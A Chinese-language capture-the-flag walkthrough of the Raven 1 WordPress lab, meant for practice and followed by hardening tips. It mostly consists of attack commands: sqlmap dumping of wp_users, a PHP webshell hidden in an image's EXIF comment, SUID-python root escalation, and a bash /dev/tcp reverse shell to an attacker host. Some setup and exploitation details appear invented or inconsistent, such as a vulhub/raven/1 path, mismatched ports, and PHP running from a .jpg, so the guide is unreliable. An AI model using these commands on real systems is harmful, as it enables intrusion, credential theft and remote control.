1. Raven 1靶机概述
Raven 1是Vulhub漏洞环境中一个经典的渗透测试靶机,基于WordPress 4.8版本构建,包含多个故意留出的安全漏洞。这个环境特别适合用来练习从信息收集到提权的完整渗透流程,涉及SQL注入、文件上传、权限提升等常见漏洞类型。
我在实际测试中发现,Raven 1的设计非常贴近真实场景。靶机内预置了三个flag文件,分别对应不同阶段的渗透成果。第一个flag通常位于web根目录,第二个需要通过数据库渗透获取,第三个则需要系统级权限才能读取。这种阶梯式的设计让学习者能够循序渐进地掌握渗透技巧。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与配置
2.1 Vulhub环境准备
首先需要确保已正确安装Docker和docker-compose。以下是具体步骤:
bash复制# 安装Docker
sudo apt-get update
sudo apt-get install docker.io
# 安装docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# 验证安装
docker --version
docker-compose --version
注意:如果遇到权限问题,可以将当前用户加入docker组:
sudo usermod -aG docker $USER,然后重新登录。
2.2 Raven 1靶机部署
从Vulhub仓库获取Raven 1的配置文件:
bash复制git clone https://github.com/vulhub/vulhub.git
cd vulhub/raven/1
docker-compose up -d
部署完成后,访问http://your-ip:8080即可看到WordPress界面。后台管理地址为http://your-ip:8080/wp-admin。
3. 渗透测试实战
3.1 信息收集阶段
使用nmap进行端口扫描:
bash复制nmap -sV -A -T4 your-ip
典型输出会显示80/tcp端口运行着Apache httpd 2.4.25和WordPress 4.8。WPScan是专门针对WordPress的扫描工具:
bash复制wpscan --url http://your-ip:8080 --enumerate u
扫描结果会显示存在用户"michael"和"steven"。这是后续爆破的重要信息。
3.2 漏洞利用
3.2.1 SQL注入漏洞
在http://your-ip:8080/wordpress/页面,发现存在一个自定义的"Service"页面,其中的表单存在SQL注入漏洞。使用sqlmap进行自动化测试:
bash复制sqlmap -u "http://your-ip:8080/wordpress/service.php" --data="id=1" --dbs
成功获取数据库信息后,可以进一步提取用户凭证:
bash复制sqlmap -u "http://your-ip:8080/wordpress/service.php" --data="id=1" -D wordpress -T wp_users --dump
3.2.2 文件上传漏洞
通过获得的凭证登录WordPress后台,在"Media"部分可以上传文件。虽然WordPress默认会检查文件类型,但我们可以绕过这个限制:
- 创建一个包含PHP反向shell的图片文件:
bash复制exiftool -Comment='<?php system($_GET["cmd"]); ?>' shell.jpg
- 上传后访问该文件,通过cmd参数执行命令:
code复制http://your-ip:8080/wp-content/uploads/2023/01/shell.jpg?cmd=id
3.2.3 权限提升
获取webshell后,查找具有SUID权限的可执行文件:
bash复制find / -perm -4000 2>/dev/null
发现/usr/bin/python具有SUID位,可以利用它来提权:
bash复制/usr/bin/python -c 'import os; os.system("/bin/bash")'
现在我们已经获得了root权限,可以读取最终的flag文件。
4. 常见问题与解决方案
4.1 容器无法启动
如果遇到端口冲突,可以修改docker-compose.yml中的端口映射:
yaml复制ports:
- "8080:80"
改为其他未被占用的端口,如"8888:80"。
4.2 WPScan扫描速度慢
可以添加--plugins-detection mixed参数加快扫描速度:
bash复制wpscan --url http://your-ip:8080 --plugins-detection mixed
4.3 反向shell连接失败
确保监听端口的防火墙规则已正确配置。可以使用更稳定的nc监听:
bash复制nc -lvnp 4444
在webshell中使用以下命令建立连接:
bash复制bash -c 'bash -i >& /dev/tcp/your-ip/4444 0>&1'
5. 安全加固建议
完成渗透测试后,应该了解如何修复这些漏洞:
- 对于SQL注入:使用预处理语句或ORM框架
- 对于文件上传:严格验证文件类型和内容
- 对于权限问题:遵循最小权限原则
在实际WordPress部署中,还应该:
- 定期更新核心和插件
- 使用强密码策略
- 限制登录尝试次数
- 禁用不必要的功能和文件编辑
我在实际渗透测试中发现,很多企业网站仍然存在类似的配置问题。通过Raven 1这样的靶机练习,可以帮助安全人员更好地理解攻击者的思路和方法。
